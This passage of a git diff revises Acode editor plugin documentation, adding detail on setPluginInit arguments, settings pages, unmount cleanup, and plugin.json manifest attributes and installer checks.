+:::tip
+`icon` is a class name only; it cannot be a URL, an emoji or an SVG string. To show your own artwork either register it with `acode.addIcon(...)` or, more simply, skip `add()`'s icon and append your own element to the container.
+:::
+
 ## Troubleshooting
 
 ### Scrolling Issues
@@ -77,12 +234,12 @@ If you encounter scrolling issues in your sidebar app, you need to add the `scro
 - `max-height`: Sets height constraints for the scrollable area
 - `overflow-y: auto`: Enables vertical scrolling when content overflows
 
-Note: The `scroll` class alone doesn't contain these properties, so you must apply them manually.
+Note: The `scroll` class alone doesn't contain these properties, so you must apply them manually. It only styles the scrollbar itself (`::-webkit-scrollbar`, its track and its thumb).
 
 Example:
 ```javascript
 sideBarApps.add(
-  'icon_class',
+  'notes',
   'scrollable_app',
   'Scrollable App',
   (container) => {
@@ -106,3 +263,11 @@ sideBarApps.add(
 ```
 
 Both the `scroll` class and these CSS properties are required for proper scrolling functionality in sidebar apps.
+
+## Related
+
+- [`acode`](../global-apis/acode.md) — `require`, `addCommand`, `addIcon`, `setPluginUnmount`
+- [Settings](../editor-components/settings.md) — `appSettings`, `editorManager` events
+- [Side Buttons](./side-buttons.md) — editor-edge buttons and the built-in icon catalogue
+- [Context Menu API](./context-menu.md) — menus inside a sidebar app
+- [Toast](../ui-components/toast.md) — lightweight feedback from an app
diff --git a/docs/plugin-essentials/core-file.md b/docs/plugin-essentials/core-file.md
index fb7a6d3..a3ee0dc 100644
--- a/docs/plugin-essentials/core-file.md
+++ b/docs/plugin-essentials/core-file.md
@@ -16,7 +16,7 @@ Within `main.js`, you gain access to the Acode API through the global variable [
 
 ### Registering Your Plugin
 
-To register your plugin, utilize the `acode.setPluginInit(pluginId: string, init: Function)` method. This method requires two parameters:
+To register your plugin, utilize the `acode.setPluginInit(pluginId: string, init: Function, settings?: Object)` method. This method requires at least two parameters:
 
 1. **pluginId:**
    - The unique identifier for your plugin.
@@ -24,26 +24,65 @@ To register your plugin, utilize the `acode.setPluginInit(pluginId: string, init
 2. **init function:**
    - The function to be executed when the plugin is loaded.
 
-Upon execution, the `init` function will receive three arguments:
+3. **settings (optional):**
+   - A `{ list, cb }` object that creates a settings page for your plugin. See [Plugin settings page](#plugin-settings-page) below.
 
-- **baseUrl (string):**
-  - The base URL of the plugin, allowing access to files within the plugin directory.
+Acode invokes the registered function through `acode.initPlugin(id, baseUrl, $page, options)`, and the call is **`await`ed** - so a throwing or rejecting `init` fails the whole plugin load (the loader then unregisters the plugin's file icons and rejects).
 
-- **$page (WcPage):**
-  - A page object that facilitates the display of content within Acode.
+Upon execution, the `init` function will receive **exactly three arguments**:
 
-- **cache (object):**
-  - An object providing access to cached files, including:
-    - **cacheFileUrl (string):**
-      - URL of the cached file.
-    - **cacheFile (File):**
-      - File object of the cached file, enabling file read/write operations.
-    - **firstInit (boolean):**
-      - `true` when the plugin is being installed/loaded for the first time.
-    - **ctx (PluginContext):**
-      - Your plugin's native context. Provides encrypted secret storage (`getSecret`, `setSecret`, `deleteSecret`, `clearAllSecrets`) and permission checks (`grantedPermission`, `listAllPermissions`). See [Plugin Context (`ctx`)](./plugin-context.md).
-    - **fileIcons:**
-      - Plugin-bound [File Icons](../utilities/file-icons.md) API (`register`, `icon`, `onChange`). Same instance as `acode.require("fileIcons")` captured in the main script. Available from **versionCode `1012`**.
+| # | Name | Type | Meaning |
+| --- | --- | --- | --- |
+| 1 | `baseUrl` | `string` | Internal URL of your plugin folder (`Url.join(PLUGIN_DIR, pluginId)`, converted with `helpers.toInternalUri`). **No trailing slash.** |
+| 2 | `$page` | `WcPage` | A page object for plugin UI. `Page("Plugin")` with `show()` (pushes onto the action stack and appends to `app`) and `onhide` already wired up for you. |
+| 3 | `options` | `object` | Runtime options, see below. |
+
+The third argument is a plain object built by the loader in `src/lib/loadPlugin.js`, with exactly these five keys:
+
+| Key | Type | Meaning |
+| --- | --- | --- |
+| `fileIcons` | `object` | Plugin-bound [File Icons](../utilities/file-icons.md) API (`register`, `icon`, `onChange`) - the same frozen object you get from `acode.require("fileIcons")` in the main script. Present in **v1.13.5 (versionCode `1011`)**. |
+| `cacheFileUrl` | `string` | Internal URL of your plugin's cache file at `CACHE_STORAGE/<pluginId>`. |
+| `cacheFile` | `File` | A `fileSystem` handle for that same cache file; created for you if missing. Use it for scratch state, not secrets. |
+| `firstInit` | `boolean` | `true` only on the load that immediately follows an install/update; `false` on every later load, including after a restart. |
+| `ctx` | `PluginContext \| null` | Your plugin's native context - encrypted secrets and permission echoes. **May be `null`.** See [Plugin Context (`ctx`)](./plugin-context.md). |
+
+::: warning The argument order in the class template is the template's own convention
+`init($page, cacheFile, cacheFileUrl, firstInit, ctx, fileIcons)` is **not** Acode's signature - it is how the official templates choose to forward the values into their `AcodePlugin` class, and note they deliberately put `cacheFile` *before* `cacheFileUrl`. Acode's contract is always `(baseUrl, $page, options)`. If you write the class yourself, name the parameters after the `options` object above to avoid confusion.
+:::
+
+### Accessing plugin-relative files
+
+`baseUrl` points at your plugin folder **without** a trailing slash, so always normalise it once:
+
+```js
+const baseUrlWithSlash = baseUrl.endsWith("/") ? baseUrl : `${baseUrl}/`;
+const iconUrl = `${baseUrlWithSlash}icons/logo.svg`;
+```
+
+For reading packaged **JSON**, use the filesystem path rather than `fetch`:
+
+```js
+const fs = acode.require("fs");
+const Url = acode.require("Url");
+const fileIconsJson = await fs(Url.join(PLUGIN_DIR, plugin.id, "file_icons.json")).readFile("json");
+```
+
+::: warning `import plugin from "../plugin.json"` is a build-time feature
+The loader injects your entry file as a **classic** script - it creates `<script id="${pluginId}-mainScript" src={mainUrl}>` and calls `document.head.append($script)` in `src/lib/loadPlugin.js`, with no `type="module"`. A raw `import` statement would be a syntax error at runtime, so in the official templates `../plugin.json` is resolved by the **bundler at build time** and inlined into the bundle.
+
+That is why the path is relative: it is relative to the *source* file inside your project, not to the installed folder. In the official template the source lives at `src/main.js` while `plugin.json` sits at the project root, so exactly one `../` is needed - and `main` then points at the built file (`dist/main.js`). If you hand-write a plain `main.js` with no bundler, inline your id as a string instead:
+
+```js
+if (window.acode) {
+  acode.setPluginInit("com.example.plugin", (baseUrl, $page) => {
+    /* ... */
+  });
+}
+```
+
+Acode never reads the id out of your script - it uses the folder name and `plugin.json`.
+:::
 
 ### Example main.js File
 
@@ -90,6 +129,150 @@ if (window.acode) {
 }
 ```
 
+## Complete runnable `main.js` <Badge type="tip" text="new" />
+
+This is the whole entry file: the template's `plugin.json` import, a guarded registration, one command, a settings page, and real cleanup. (If you are not using the official bundler, drop the `import` and inline `"com.example.plugin"` - see [Accessing plugin-relative files](#accessing-plugin-relative-files).)
+
+```js
+import plugin from "../plugin.json";
+
+class AcodePlugin {
+	baseUrl = "";
+	$page = null;
+	commands = null;
+	ticker = null;
+
+	async init($page, cacheFile, cacheFileUrl, firstInit, ctx) {
+		this.$page = $page;
+		this.commands = acode.require("commands");
+
+		// Scratch state survives restarts in CACHE_STORAGE/<pluginId>.
+		if (firstInit) {
+			await cacheFile.writeFile(JSON.stringify({ runs: 0 }));
+		}
+
+		const state = JSON.parse((await cacheFile.readFile("utf8")) || "{}");
+		state.runs = (state.runs || 0) + 1;
+		await cacheFile.writeFile(JSON.stringify(state));
+
+		this.commands.addCommand({
+			name: "example-plugin.show",
+			description: "Example Plugin: open the demo page",
+			bindKey: { win: "Ctrl-Alt-E", mac: "Command-Alt-E" },
+			exec: () => this.showPage(),
+		});
+
+		// Stop doing background work when the plugin goes away.
+		this.ticker = setInterval(() => console.log("tick", plugin.id), 60000);
+	}
+
+	showPage() {
+		this.$page.innerHTML = `
+			<h1>Example Plugin</h1>
+			<p>Loaded ${this.baseUrl}</p>
+		`;
+		this.$page.show();
+	}
+
+	async destroy() {
+		this.commands?.removeCommand("example-plugin.show");
+		clearInterval(this.ticker);
+		this.ticker = null;
+	}
+}
+
+if (window.acode) {
+	const acodePlugin = new AcodePlugin();
+
+	acode.setPluginInit(
+		plugin.id,
+		async (baseUrl, $page, { cacheFileUrl, cacheFile, firstInit, ctx }) => {
+			// baseUrl has no trailing slash - normalise once, then reuse.
+			acodePlugin.baseUrl = baseUrl.endsWith("/") ? baseUrl : `${baseUrl}/`;
+			await acodePlugin.init($page, cacheFile, cacheFileUrl, firstInit, ctx);
+		},
+		{
+			list: [
+				{
+					key: "greeting",
+					text: "Greeting",
+					value: "Hello",
+					prompt: "Enter a greeting",
+					promptType: "text",
+				},
+				{ key: "verbose", text: "Verbose logging", checkbox: true, value: false },
+			],
+			cb(key, value) {
+				console.log(`${plugin.id} setting changed:`, key, value);
+			},
+		},
+	);
+
+	acode.setPluginUnmount(plugin.id, () => acodePlugin.destroy());
+}
+```
+
+## Plugin settings page <Badge type="tip" text="new" />
+
+The optional third argument of `acode.setPluginInit` builds a settings page for your plugin. Acode stores it in `appSettings.uiSettings["plugin-<id>"]` and then renders a **gear icon in your plugin's page header** that opens it - so the page is reachable from the plugin details page, not from Acode's main Settings list.
+
+The shape is exactly `{ list, cb }`:
+
+| Property | Type | Meaning |
+| --- | --- | --- |
+| `list` | `ListItem[]` | The rows to show, rendered in the order you supply. Each item needs at least `key` and `text`. |
+| `cb` | `(key, value) => void` | Called after every change, with the row's `key` and its new value. Cancelled dialogs do not call it. Persist the value yourself - e.g. `acode.require("settings").update({ ... })`. |
+
+The `ListItem` fields, and what tapping a row does:
+
+| Field | Effect |
+| --- | --- |
+| `checkbox: true` (or a boolean `value`) | Renders a switch and toggles the boolean. |
+| `select: [...]` | Opens a select dialog with those options. |
+| `prompt: "<message>"` | Opens a prompt dialog. Note `prompt` is the **message string**, not a flag. `promptType` picks the input type (`"text"`, `"number"`, `"tel"`, `"search"`, `"email"`, `"url"`, `"textarea"`) and `promptOptions` adds `{ match, required, placeholder, test }`. |
+| `file: true` / `folder: true` | Opens the file browser and stores the picked URL. |
+| `color: true` | Opens the colour picker. |
+| `link: "<url>"` | Opens the URL in the system browser. |
+| `value` | Shown in the row's trailing position, and passed as the default into the dialog. |
+| `valueText: (value) => string` | Formats `value` for display. |
+| `icon`, `iconColor`, `image`, `fileIcon`, `info`, `category`, `hidden`, `chevron` | Appearance and grouping only. |
+
+The page is created with `preserveOrder: true` and `groupByDefault: true`, so your item order is preserved and uncategorised rows are wrapped in a default group. Give items a `category` if you want explicit headings.
+
+```js
+acode.setPluginInit(
+  plugin.id,
+  async (baseUrl, $page) => {
+    /* ... */
+  },
+  {
+    list: [
+      {
+        key: "theme",
+        text: "Theme",
+        select: ["system", "light", "dark"],
+        value: "system",
+      },
+      { key: "autosave", text: "Autosave", checkbox: true, value: true },
+      {
+        key: "interval",
+        text: "Refresh interval",
+        prompt: "Seconds between refreshes",
+        promptType: "number",
+        value: 30,
+      },
+    ],
+    cb(key, value) {
+      // Persist and apply.
+    },
+  },
+);
+```
+
+::: tip
+Acode deletes `uiSettings["plugin-<id>"]` for you on unmount, so you never have to tear the page down manually.
+:::
+
 ## Plugin Unmount Function
 
 The `main.js` file must also define cleanup logic, which is called when the plugin is unloaded or uninstalled. This cleanup allows you to remove listeners, commands, intervals, and UI hooks associated with your plugin. In the class template this lives in the `destroy()` method, registered via `acode.setPluginUnmount`.
@@ -105,6 +288,39 @@ acode.setPluginUnmount(plugin.id, () => {
 
 In this example, the unmount function removes the 'example-plugin' command, ensuring that the plugin's impact on Acode is cleanly reverted upon unloading.
 
+### When unmount runs
+
+`acode.unmountPlugin(id)` invokes your function, and Acode calls it from three places:
+
+- **Disable** from the Extensions screen (`src/sidebarApps/extensions/index.js`).
+- **Uninstall** (`src/pages/plugin/plugin.js`), right after the plugin folder is deleted.
+- **Reload / update of the plugin** (`src/lib/loadPlugin.js`) - `loadPlugin` calls `acode.unmountPlugin(pluginId)` *before* it appends the new `<script>`. That is deliberate: once the new script runs it overwrites `setPluginUnmount` with the new `destroy`, so the old one would be lost forever. Your unmount therefore always runs **before** the next `init`, and never twice for one load.
+
+`unmountPlugin` wraps your callback in `try`/`catch` and only logs failures, so a throwing `destroy()` cannot break the surrounding unload.
+
+### What Acode already cleans up for you
+
+`acode.unmountPlugin(id)` does three things beyond calling your callback:
+
+- **Deletes your cache directory**: `fsOperation(Url.join(CACHE_STORAGE, id)).delete()` - everything you wrote through `cacheFile` is gone. This one only runs when an unmount callback is registered for your id.
+- **Removes your settings page**: `delete appSettings.uiSettings["plugin-<id>"]`.
+- **Unregisters your file icon packs** and their subscriptions, scoped to your plugin id.
+
+The last two run on every `unmountPlugin(id)` call, even for a plugin that never registered an unmount function.
+
+The old `<script>` tag is also removed by the loader on the next load (`src/lib/loadPlugin.js`), so you are not left with duplicate script nodes.
+
+### What only you can clean up
+
+Everything else you registered by hand survives unmount and will keep running against a plugin Acode considers unloaded:
+
+- Commands (`commands.removeCommand(name)`)
+- Event listeners on `document` / `window` / `editorManager` / `app`
+- Timers (`setInterval`, `setTimeout`), observers (`MutationObserver`), and sockets/web workers you opened
+- DOM nodes you appended (your page elements, injected stylesheets)
+- Sidebar apps, side buttons, selection-menu items, context-menu entries
+- Formatters (`acode.unregisterFormatter(id)`), file handlers (`acode.unregisterFileHandler(id)`), file-icon registrations you hold a handle to (`registration.dispose()`), language modes, terminal themes
+
 ::: tip
 For command registration APIs, see [Commands](../utilities/commands.md).
 :::
@@ -112,3 +328,38 @@ For command registration APIs, see [Commands](../utilities/commands.md).
 :::tip
 You will not need to write these `init`/`destroy` registration functions for your plugin because the templates ship with them. You only need to write your plugin code inside the `AcodePlugin` class.
 :::
+
+## Common mistakes / gotchas <Badge type="tip" text="new" />
+
+- **Forgetting the trailing slash on `baseUrl`.** `baseUrl` is `Url.join(PLUGIN_DIR, pluginId)` with **no** trailing slash. `${baseUrl}icons/x.svg` silently becomes `.../com.example.pluginicons/x.svg`. Normalise once with `baseUrl.endsWith("/") ? baseUrl : \`${baseUrl}/\`` and reuse it.
+- **Not guarding on `window.acode`.** The global is only present once Acode's API object exists. Register inside `if (window.acode) { ... }`, and `require("fileIcons")` synchronously in the main script - never from a timer or after an `await`, or the loader will not recognise the calling script and will throw.
+- **Not removing commands on unmount.** Leftover commands keep a stale `exec` closure alive, so re-enabling the plugin registers a second command under the same name.
+- **Treating the class-template parameter order as the API.** Acode always calls `(baseUrl, $page, options)`. Destructuring `$page` out of `options`, or assuming `cacheFileUrl` comes before `cacheFile` in a positional signature, will bite you.
+- **Assuming `firstInit` is true on every launch.** It is `true` only for the load right after an install or update (`justInstalled`), and `false` afterwards - including app restarts.
+- **Assuming `ctx` is always an object.** It can be `null` when the trusted native session is unavailable, and every method on it can reject. Guard it and wrap calls in `try`/`catch`.
+- **Putting secrets in `cacheFile`.** The cache file is plain storage and it is deleted on unmount. Use [`ctx`](./plugin-context.md).
+- **Throwing inside `init`.** `initPlugin` awaits your function, so a rejection fails the whole plugin load: Acode unregisters your file icons and marks the plugin broken, and it will be skipped until the user re-enables it or you clear the mark with `acode.clearBrokenPluginMark(id)`.
+- **Relying on a throw inside `destroy()` to signal failure.** It is swallowed and logged.
+- **Assuming a renamed file is picked up.** If you change `main` in `plugin.json`, the loader checks whether the new path exists in the folder and otherwise falls back to `main.js` (`src/lib/loadPlugin.js`) - so a stale build can keep running the old entry point.
+
+## Signature reference <Badge type="tip" text="new" />
+
+| Method | Signature | Called by | Behaviour |
+| --- | --- | --- | --- |
+| `acode.setPluginInit` | `(id: string, init: (baseUrl, $page, options) => void \| Promise<void>, settings?: { list, cb })` | You | Stores the init function under `id`. With `settings`, also builds `appSettings.uiSettings["plugin-<id>"]`. Returns nothing; calling it twice replaces both. |
+| `acode.setPluginUnmount` | `(id: string, unmount: () => void)` | You | Stores the unmount function under `id`. Returns nothing; calling it twice replaces the previous one. |
+| `acode.initPlugin` | `async (id, baseUrl, $page, options)` | The loader | Awaits your init function, but **only if** `id` is registered - otherwise it is a silent no-op. |
+| `acode.unmountPlugin` | `(id: string) => void` | Acode (disable, uninstall, reload) | Calls your unmount function in `try`/`catch`, deletes `CACHE_STORAGE/<id>`, removes `uiSettings["plugin-<id>"]`, and unregisters the plugin's file icons. |
+
+::: tip
+`initPlugin` doing nothing for an unregistered id is why a `main.js` that forgets `setPluginInit` still loads without error but never runs. If your plugin seems inert, check that registration happened inside the `window.acode` guard.
+:::
+
+## Related
+
+- [Plugin Context (`ctx`)](./plugin-context.md) - `options.ctx`, secrets and permissions
+- [Manifest (`plugin.json`)](./manifest.md) - the `main`, `id` and `minVersionCode` attributes used above
+- [Commands](../utilities/commands.md) - `addCommand` / `removeCommand`
+- [File Icons](../utilities/file-icons.md) - `options.fileIcons`
+- [File System (`fs`)](../utilities/fs.md) - reading packaged JSON
+- [Understanding How Plugins Work](../getting-started/understanding-plugin.md) - loader and failure behaviour
diff --git a/docs/plugin-essentials/manifest.md b/docs/plugin-essentials/manifest.md
index 1061282..3bb2ec0 100644
--- a/docs/plugin-essentials/manifest.md
+++ b/docs/plugin-essentials/manifest.md
@@ -6,57 +6,74 @@ The `plugin.json` file is a crucial component of every Acode plugin, serving as
 
 ## 1. **id:**
    - Unique identifier for the plugin, following the reverse domain name format or what ever you want *(e.g., "com.example.plugin")*.
+   - The plugin folder in `PLUGIN_DIR` is named after this id. For a registry install the folder comes from the id you asked Acode to install, **not** from the manifest; when you install from a local `file:`/`content:`/`http(s):` zip, the manifest's `id` is used verbatim and becomes the install directory, and the zip URL is recorded in the `source` attribute. Nothing cross-checks the two, so keep them identical.
 
 ## 2. **name:**
-   - Descriptive name of the plugin.
+   - Descriptive name of the plugin. Shown on the plugin details page and used as the title of the settings page created by `acode.setPluginInit(id, init, settings)`.
 
 ## 3. **main:**
    - Path to the bundled `main.js` file or your plugin's main javascript file, which contains the actual code for the plugin.
+   - The key itself is optional: if it is missing, or names a file that is not in the zip, the manifest is rewritten to `main.js` (`src/lib/installPlugin.js`). The same fallback is applied at load time. But **the file must exist in the zip** - if `main.js` is absent too, the install fails with `Invalid Plugin`. The loader appends a `<script>` tag with id `` `${pluginId}-mainScript` `` and removes it before the next load, so the file is fetched and evaluated as a classic script.
 
 ## 4. **version:**
-   - Version number of the plugin. Must be incremented for updates.
+   - Version number of the plugin. Must be incremented for updates: Acode asks the registry `plugin/check-update/<id>/<version>` and falls back to comparing `plugin/<id>`'s remote `version`, so an unchanged version means no update is ever offered.
+   - Version strings are compared with Acode's own comparator (`src/utils/version.js`), which is **strictly `MAJOR.MINOR.PATCH` with digits only**. A leading `v` is tolerated, but `"1.0"`, `"1.0.0-beta1"` or `"1.x"` all fail to parse, compare as equal, and your plugin will never show an update.
 
 ## 5. **readme:**
-   - Path to the `readme.md` file, providing documentation and information about the plugin.
+   - Path to the `readme.md` file, providing documentation and information about the plugin. If the declared path is not in the zip it is rewritten to `readme.md`, and the details page also falls back to `readme.md` when the attribute is missing entirely. Its text is rendered as markdown into the plugin's Overview tab - this is the long description users see, not a settings screen.
 
 ## 6. **icon:**
    - Path to the `icon.png` file, serving as the visual representation of the plugin.
+   - Acode checks exactly one thing here: at install time, if the path you declared is not present in the zip, the manifest is patched to `icon.png` (`src/lib/installPlugin.js`). There is **no size, dimension, or format check anywhere in the app** - the details page simply reads the file's bytes, guesses a MIME type from the extension (`image/png` as fallback) and renders it through a blob URL (`src/pages/plugin/plugin.js`).
+   - That read has **no `catch`**, so if the icon file is missing on disk the installed plugin's page reports an error instead of rendering. Always ship the file you point `icon` at.
+   - The plugin icon is also **not** a file icon pack; that is a separate API. See [File Icons](../utilities/file-icons.md).
 
    :::info
-   Icon file size must less than or equal to **50Kb**
+   The commonly cited **50Kb** limit is not implemented in the app - `installPlugin` only tests for the file's presence in the archive, so an oversized icon will install fine and simply be slow to decode on the details page. If you publish to the Acode plugin registry, keep the icon small (well under 50 KB) to respect the registry's publishing constraint and to keep the plugin page fast.
    :::
 
 ## 7. **files:**
-   - An array listing the files to be included in the plugin zip file.
+   - An array listing extra files to include in the plugin zip.
+
+   :::warning
+   Acode's installer **ignores** this attribute. `installPlugin` extracts *every* entry found in the archive (`Object.keys(zip.files)`), so listing or omitting files here changes nothing about what gets installed. It is purely a packaging hint for your build/zip step - and because the installer copies the whole archive, any file you ship (build tooling, sources, `.map` files) ends up in the user's plugin folder and in the app's backup. Ship only what you need.
+   :::
 
 ## 8. **minVersionCode:**
-   - Minimum Acode version code required to run the plugin. The plugin will be available only for Acode versions greater than or equal to the specified code.
+   - Minimum Acode version code required to run the plugin.
+   - **What Acode actually does with it: nothing in the app.** The app never reads `minVersionCode` from your installed `plugin.json`. `loadPlugin`/`loadPlugins` load a plugin regardless of this value, and nothing is hidden from the plugin list or from the backup list.
+   - The gate that exists is on the **registry** side: the plugin page fetches `min_version_code` from the registry manifest (`src/pages/plugin/plugin.js`) and compares it against `BuildInfo.versionCode`. When your app is older, the details page replaces the Install / Update / Uninstall buttons with a link to the Play Store telling you the plugin needs a newer Acode. That is a **UI-level block on the details page**, not a load refusal.
    :::info
-   You can simply use `290`, as this option became available in that version. If you are using the latest Acode plugin API, specify the corresponding version.
+   Because the field is enforced by the registry, keep it in sync with the APIs you actually use. The app in this repository is **v1.13.5, versionCode `1011`** (`config.xml`), and version codes also appear in `CHANGELOG.md` headings (e.g. `v1.12.0 (970)`). Declaring a versionCode that does not yet exist only risks blocking your own users; declaring none lets older Acode builds install a plugin that may crash on a missing API.
    :::
 
 
 ## 9. **price:**
-   - Price of the plugin in INR (Indian Rupees). If set to 0 or omitted, the plugin is free. This attribute allows for monetization of plugins with a defined price range.
+   - Price of the plugin as a **number**. `price > 0` is the only test Acode makes (`installedPlugin.price > 0` in `src/pages/plugin/plugin.js` and in dependency resolution), so `0` or an omitted `price` means free.
+   - **Currency is not fixed by the app.** The symbol is whatever the registry returns (`price = ${remotePlugin.currencySymbol ?? ""}${remotePlugin.price}`), or the formatted Play price once the in-app product is resolved. The app has **no INR rule and no 0-10,000 range check**; the numeric range is a publishing constraint of the registry, not something the app enforces or validates.
+   - **Paid install requires in-app purchasing.** A paid plugin also needs a `sku` matching a Play product. Acode looks up `iap.getProducts([sku])`; if there is no existing purchase it triggers `iap.purchase`, and only after a successful purchase does it POST the token to the registry's order endpoint and then install. An unknown `sku` fails with `Product not found`, and a cancelled/failed purchase aborts the install.
+   - The purchase token is appended to the download URL (`&token=...`), which is how the registry authorises the paid zip.
+   - Free plugins show an interstitial ad after install/uninstall; paid ones do not.
 
    :::info
-   Price should be between INR 0 to 10,000
+   Price range limits are enforced when you publish, not at install time. If the registry rejects your manifest, the app cannot tell you why - it just shows the plugin as free/unpriced.
    :::
 
 ## 10. **author:**
    - Details about the plugin author, including name, email, URL, and GitHub username.
+   - Effectively required: the details page reads `author.name` and `author.github` unguarded when building the plugin object, so a manifest without `author` breaks rendering of an installed plugin's page.
 
 ## 11. **license:** <Badge type="tip" text="new" />
-   - Name of the license under which the plugin is released.
+   - Name of the license under which the plugin is released. Displayed verbatim, falling back to `Unknown`.
 
 ## 12. **keywords:** <Badge type="tip" text="new" />
-  - An array of strings providing searchable terms related to the plugin.
+  - An array of strings providing searchable terms related to the plugin. Rendered as tags on the details page; the registry also uses them for search.
 
 ## 13. **changelogs:** <Badge type="tip" text="new" />
-  - Path to the changelog file documenting version updates and modifications.
+  - Path to the changelog file documenting version updates and modifications. Only read when the attribute is present **and** the file exists, then rendered as markdown into the Changelog tab.
 
    ::: warning
-   Make sure to include `changelogs.md` or whatever you named it, in the plugin zip.
+   Make sure to include `changelogs.md` or whatever you named it, in the plugin zip. A missing file is not an error - the tab is simply empty.
    :::
 
 ## 14. **contributors:** <Badge type="tip" text="new" />
@@ -65,23 +82,80 @@ The `plugin.json` file is a crucial component of every Acode plugin, serving as
     - `name`: Contributor's name
     - `role`: Their role in the project
     - `github`: Their GitHub username
+  - The author is always prepended to this list as `{ name: author, role: "Developer", github: authorGithub }`.
 
 ## 15. **repository:** <Badge type="tip" text="new" />
   - Github/Gitlab url of your plugin source(only for free plugins)
 
+## 16. **permissions:** <Badge type="tip" text="new" />
+  - Array of permission strings bound to your plugin's [`ctx`](./plugin-context.md). Acode itself reads this array **only** in the native `Tee` plugin, which copies the strings into a token-scoped list that `ctx.grantedPermission()` / `ctx.listAllPermissions()` echo back. No API is gated by it and there is no consent prompt.
+
+## 17. **dependencies:** <Badge type="tip" text="new" />
+  - Array of registry plugin **ids** this plugin needs. Before installing, Acode resolves each id from the registry, skips any already installed at an equal or newer version, recursively collects nested dependencies, then asks the user to confirm. Declaring an unknown id fails the install with `Unknown plugin dependency: <id>`. Dependencies are paid-aware: each is purchased through the same IAP flow before its own install.
+
+## 18. **sku:** <Badge type="tip" text="new" />
+  - Google Play in-app purchase product id. Required when `price > 0`; Acode looks it up with `iap.getProducts([sku])` and throws `Product not found` when it does not resolve. Free plugins do not need it.
+
+## 19. **supported\_editor:** <Badge type="tip" text="new" />
+  - Editor engine the plugin supports. Acode compares it against its own value (`config.SUPPORTED_EDITOR`, currently `"cm"`); anything other than a match or the literal `"all"` makes the details page display a legacy-editor warning. It never blocks loading.
+
+## 20. **source:** <Badge type="tip" text="new" />
+  - **Written by Acode, not by you.** When you install from a local `file:`/`content:`/`http(s):` zip, the installer stores that URL here so the plugin page can later check for registry updates. Ignore it in your own manifest.
+
+## What Acode validates <Badge type="tip" text="new" />
+
+Proven from `src/lib/installPlugin.js`:
+
+| Check | Result when it fails |
+| --- | --- |
+| `plugin.json` present in the zip | Install throws `Invalid Plugin`; the plugin directory is deleted again. |
+| `main` (or the `main.js` fallback) present in the zip | Install throws `Invalid Plugin`. |
+| `icon` path present | Manifest patched to `icon.png`. |
+| `readme` path present | Manifest patched to `readme.md`. |
+| Unknown `dependencies` id | Install throws `Unknown plugin dependency: <id>`. |
+| Any per-file write error | Logged per file (`Error processing file ...`) and skipped; install continues. |
+
+On failure the installer clears the install state, deletes the plugin directory it created, and rethrows. Also note what it does to your archive: absolute paths (anything starting with `/`, `//`, or a Windows drive) are skipped with a warning, and `..`/`.` segments are resolved away, so the zip cannot write outside the plugin folder.
+
 # Updating Plugins:
 
 If you wish to publish an update for your plugin, follow these guidelines:
 
 - **Version Increment:**
-  - Increase the version number in the `plugin.json` file.
+  - Increase the version number in the `plugin.json` file, keeping the strict `MAJOR.MINOR.PATCH` numeric format.
 
 - **Update Information:**
   - For changes in name, description, icon, etc., upload a new zip file containing the updated `plugin.json`.
+  - The installer is incremental: it hashes each entry and only rewrites files whose content changed, then deletes files that the new zip no longer contains. Renamed or removed files are therefore cleaned up on upgrade - keep the same ids and let the zip do the work.
 
 - **Price Modification:**
   - If altering the plugin's price, update the `price` attribute in the `plugin.json` file and upload the new zip file.
 
+## Attribute reference <Badge type="tip" text="new" />
+
+| Attribute | Type | Required | Description |
+| --- | --- | --- | --- |
+| `id` | `string` | Yes | Install folder name and registration key. Reverse-domain is conventional. |
+| `name` | `string` | Yes | Display name; also the settings-page title. |
+| `main` | `string` | Yes (effectively) | Entry script path. Optional as a key (falls back to `main.js`), but the file must exist in the zip. |
+| `version` | `string` | Yes | Semver used for the registry update check. |
+| `readme` | `string` | No | Path to the long description markdown. Falls back to `readme.md`. |
+| `icon` | `string` | No | Path to the plugin icon. Falls back to `icon.png`. No size check in the app. |
+| `files` | `string[]` | No | Packaging hint only - **ignored by the installer**. |
+| `minVersionCode` | `number` | No | Minimum app versionCode. Enforced by the registry UI, not by the loader. |
+| `price` | `number` | No | `> 0` marks the plugin paid. Currency comes from the registry / Play. |
+| `sku` | `string` | Only when `price > 0` | Play IAP product id. |
+| `author` | `{ name, email?, url?, github }` | Yes (in practice) | `name` and `github` are dereferenced unguarded on the details page. |
+| `license` | `string` | No | SPDX-ish license name. |
+| `keywords` | `string[]` | No | Search terms / tags. |
+| `changelogs` | `string` | No | Path to changelog markdown. |
+| `contributors` | `{ name, role, github }[]` | No | Extra people; the author is added automatically. |
+| `repository` | `string` | No | Source URL, shown as an "open source" badge. |
+| `permissions` | `string[]` | No | Free-form strings echoed back by `ctx`. Not enforced. |
+| `dependencies` | `string[]` | No | Registry plugin ids to install alongside. |
+| `supported_editor` | `string` | No | `"cm"`, `"ace"`, or `"all"`. Only drives a warning banner. |
+| `source` | `string` | No (Acode-written) | Install URL for locally installed zips. Do not set by hand. |
+
 ## Example plugin.json:
 
 ::: code-group
@@ -94,11 +168,21 @@ If you wish to publish an update for your plugin, follow these guidelines:
   "readme": "readme.md",
   "icon": "icon.png",
   "files": ["worker.js"],
-  "minVersionCode": 292,
+  "minVersionCode": 1011,
   "price": 0,
   "license": "MIT",
-  "keywords": ["foo","bar"],
+  "keywords": ["foo", "bar"],
   "changelogs": "changelogs.md",
+  "contributors": [
+    {
+      "name": "Example Contributor",
+      "role": "Maintainer",
+      "github": "example-contributor"
+    }
+  ],
+  "repository": "https://github.com/example/example-plugin",
+  "permissions": ["sync"],
+  "supported_editor": "all",
   "author": {
     "name": "Example Author",
     "email": "example@email.com",
@@ -109,4 +193,15 @@ If you wish to publish an update for your plugin, follow these guidelines:
 ```
 :::
 
-This example illustrates a basic `plugin.json` file.
+This example illustrates a basic `plugin.json` file. Notes on the values above:
+
+- `minVersionCode: 1011` matches the current app build (`v1.13.5` in `config.xml`). Drop this attribute if you support older builds.
+- `files` is kept for clarity only - the installer copies the whole zip regardless.
+- `price: 0` (or omitting it) keeps the plugin free, so no `sku` is needed.
+- `permissions` is a self-declaration echoed by [`ctx`](./plugin-context.md); it grants nothing by itself.
+
+## Related
+
+- [Plugin Context (`ctx`)](./plugin-context.md) - the consumer of `permissions`
+- [Plugin Main File](./core-file.md) - the entry script named by `main`
+- [Understanding How Plugins Work](../getting-started/understanding-plugin.md)
diff --git a/docs/plugin-essentials/plugin-context.md b/docs/plugin-essentials/plugin-context.md
index 61c44d0..7aaafa6 100644
--- a/docs/plugin-essentials/plugin-context.md
+++ b/docs/plugin-essentials/plugin-context.md
